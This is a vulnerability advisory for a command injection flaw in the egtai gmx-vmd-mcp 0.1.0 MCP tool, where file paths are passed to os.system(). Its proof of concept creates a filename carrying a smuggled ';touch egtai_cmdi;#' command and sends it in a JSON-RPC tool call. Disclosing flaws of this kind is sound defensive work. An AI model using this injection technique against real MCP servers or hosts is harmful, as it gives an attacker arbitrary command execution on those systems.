| Название | egtai gmx-vmd-mcp 0.1.0 Command Injection |

| Описание | The MCP tool named 启动VMD图形界面 accepts caller-controlled structure_file and trajectory_file paths, converts them to absolute paths, interpolates them into a shell command string, and executes that string with os.system(). A path containing shell metacharacters therefore changes command structure and leads to arbitrary host command execution.
This PoC uses a real crafted filename that passes the repository's own existence check.
Prepare files on the host:
touch '/tmp/legit.xtc'
touch '/tmp/poc.gro;touch egtai_cmdi;#'
Invoke the MCP tool:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "启动VMD图形界面",
"arguments": {
"structure_file": "/tmp/poc.gro;touch egtai_cmdi;#",
"trajectory_file": "/tmp/legit.xtc"
}
}
}
